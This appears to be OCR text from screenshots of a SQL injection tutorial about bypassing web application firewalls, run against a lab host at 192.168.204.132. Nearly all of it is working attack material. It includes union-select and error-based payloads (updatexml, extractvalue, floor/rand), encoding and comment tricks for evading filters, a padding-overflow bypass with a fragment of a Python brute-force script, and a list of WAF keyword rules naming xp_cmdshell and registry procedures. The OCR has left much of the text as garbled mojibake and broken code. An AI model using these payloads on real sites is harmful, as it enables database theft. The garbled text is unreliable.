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@ Load URL |http://192.168.204.132/sql.aspx?id=1 union select 1,2,3
% split URL

b Execute

[] Enable Paost data [| Enable Referrer

LR RREKFEE SQUENER, WiREELE, MBEEAATERE, TREEBRRINHGSR,
Fadit: http://192.168.204.132/sql.aspx?id=1 union select 1,2,3

ZEFRIP: 192.168.204.1
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Rft: 192.168.204.132/sql.aspx?id=1 union select 1,2,3
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http://192.168.204.132/sql.aspx?id=1%00and 1=2 union select 1,2,column_name from
information_schema.columns

@ Load URL |http://192.168.204.132/sql.aspx?id nd 1=2 union select 1,2,column_name from information_schema.columns
B split URL

b} Execute /

[ Enable Post data D%Refcrrsr
HmEaD:

select * from admin where id=1and 1=2 union select 1,2,column_name from information_schema.columns

SR

id | username | password

112 data

112 id

112 password
112 username

fEPHP+Mysqlsh , BILARS /#%00%/ , E#FAILA#EH{TBypass.

/sql.php?id=1/*%00%*/union select 1,schema_name,3 from information_schema.schemata
ZMT : GET+POST
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http://192.168.204.132/sql.aspx?id=1 and 1=2 union select 1,column_name,3 from

information_schema.columns

POST : aaa
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4l Load URL | hitp://192.168.204.132/sgl.aspx?id=1 and 1=2 union select 1,column_name,3 from information_schema.columns
B split URL

+) Execute /

s

Enable Post data [] Enable Referrer /

Post data | asa

HiTEa:
select * from admin where id=1 and 1=2 union select 1,column_name,3 from information_schema.columns
E1=<lyoN

1 |data 3
1 |id 3
1 |password |3
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1 |username
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http://192.168.204.132/sql.aspx?id=1 and 1=2 union s%u0045lect 1,2,column_name from
information_schema.columns

4 Load URL |http:y//192.168.204.132/sql.aspx?id=1 and 1=2 union[s%u0045lect|1,2,column_name from information_schermna.columns
B split URL

»)  Execute /

[1 Enable Post data [ | Enable Referrer /
hTEa:

select * from admin where id=1 and 1=2 union sElect 1,2,column_name from information_schema.columns
SR

id |username | password

112 data

112 id

112 password
112 username
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http://192.168.204.132/sql.aspx?id=1 and 1=2 union/* POST :id=*/select 1,column_name,3 from
information_schema.columns
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@ Load URL | http://192.168.204.132/sql.aspx?id=1 and 1=2 union/*
% splitURL

) Execute

Enable Post data [ ] Enable Referrer
Post data

|id=*,fse|ed 1,column_name,3 from information_schema.columns|

j

hiTESD: “
select * from admin where id=1 and 1=2 union/**/select 1,column_name,3 from information_schema.columns
Lo

1 |data 3
1 |id

3
1 password |3
3

1 |username
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http://192.168.204.132/sql.asp?id=1 and 1=2 un%ion select 1,2,column_name from
information_schema.columns

@ Load URL [http://192.168.204.132/sqlasp?id=1 and 1=2 |union|select 1,2 ,column_name|from information_schema.columns
4 split URL

3 Execute /

[] Enable Post data  [] Enable Referrer

select * from admin where id=1 and 1=2 union select 1,2,column_name from information_schema.columns

id username password
1 2 data
1 2 id
1 2 password
1 2 username
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POST:id=1 and (select 1)=(Select 0xA*49099) union select 1,schema_name,3 from
information_schema.SCHEMATA
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import requests

import time B C\Windows\System32\cmd.exe — 0 W
start_time = time.time() e e e e o e o e e

490

headers=

Clwhile i<l
param="1
payload
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= try:
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id':param}
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T = requests.post( T AAAAAARAALA u
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H if r.content.count ( T T T T T
. LAALAAAAAARAMAARAAAAAAAARAANAARAAAAALAARAAAAAAAMSAAAARAANARARARRANAAAAAARARAARAANAAAANS
rint param Bt A B B A B R B B A
B E AALAAAAAAAARAANASAAARAANARAAARAANARAAALAAAARAAAAAAANARAALARAMALAALARAAAAAALAMAANAARANAS
rint 'F : BA AR AR i i B AR A i i B AR i bR A i B AR i 5
P AAAAARAALLAALAARALLARANAAALALARANMAAAAAAAAAAAAAAASAAAAAANAAANAARANNAAARNRARALAALAAAANNS
AAARAARAAAAARAAAAARAA LA AASRAAR G AL AAAAAAAAARAARANSAAALAA -
break 1u"u"u"u“u"u"u"u"u“u‘*u"u"u"u‘*u'*u"u"u“u‘*u'*u"u"u“u‘*u"u"u"u‘m"u"u"u"u“u‘*u"u"u"u‘*u'*u"u"u“u‘*u"u"u"u“u‘*u"u"u"u‘m"u"u"u"u‘*. Jumio
=] except:
pass
@ Lload URL [http:/192.168.204.132/sql.php -
b splituL +
) Execute
Enable Post data [ ] Enable Referrer
Post data AAAAAAAAAAAAAAAAAALAAAAAALAAAAAAABAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAABAAAAARAALAAAAAAAAANAANAAAAAAL ~ | -
AAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALALAAALAAAAAAAAAAAAAAAAAAAALALALAAAAAAAAAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAN +
AAAAAAAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAMAAAAAAAAAAAAAPAAAAAAAAAAAAAAABAAAAAMAAAAAAMAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAL
AAAAAAAAA AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA AAAAAAAAAAAAL AAAAAAAAAA
AAAAAAAAA AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA AAAAAAAAAAAAL AAAAAAAAAA
AAAAAAAAL AAAAARL AAAAAMA, AAAAAA, AAAAAMA, AAAAMA, JLnion select 1,schema_name 3 from information_schema.SCHEMATA v

information_schema —

1 mysql

1 performance_schema

1 test

SELECT * FROM admin WHERE id = 1 and (select 1)=(Select
OXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

union select 1,schema_name,3 from information_schema.SCHEMATA
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*Ep cmdshell®
*and*db name () *>*0*
Tand*user*>*(Q*
*cacls.exe® 1 *

fexectcopy®

*insert*exec®
*bulk*insert*exec®
*Belect*is srvrolemember®
*use*model®

1C *select*is member®
fdeclare*sysname®

*zp availablemedia®

*Ep dirtree®

*Ep terminate process®
*sp dropextendedproc®
*exec*sp addlogin®

17 *zp regdeletekey®
*exec*xp regread®
finsert*temp*exec®
*exectxp regenumvaluss®'®
*exectxXp regwrite®'®
*exectxXp regread®'®
*exectxp regdeletevalue*'*®
*declare*@*char*

*exectxp regaddmultistring®'®
*exectxp regdeletekey*'¥
*exec*xXp regenumvaluss®'®
*exec*xXp regread®'®
*exec*xXp regremovemultistring*'®
*exec*xp regwrite*'®
“declare @+
funion*zelect®
*update*set®

*drop*table®
*truncate*table®
*delete*from*
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[a4]

?id=1 or (select 1 from (select count(),concat((concat(Ox5e5e21,@@version,0x215e5e)),floor(rand(0)2))x from
information_schema.tables group by x)a)

?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))

?id=1 and extractvalue(1, concat(0x5c, (select VERSION() from information_schema.tables limit 1)))
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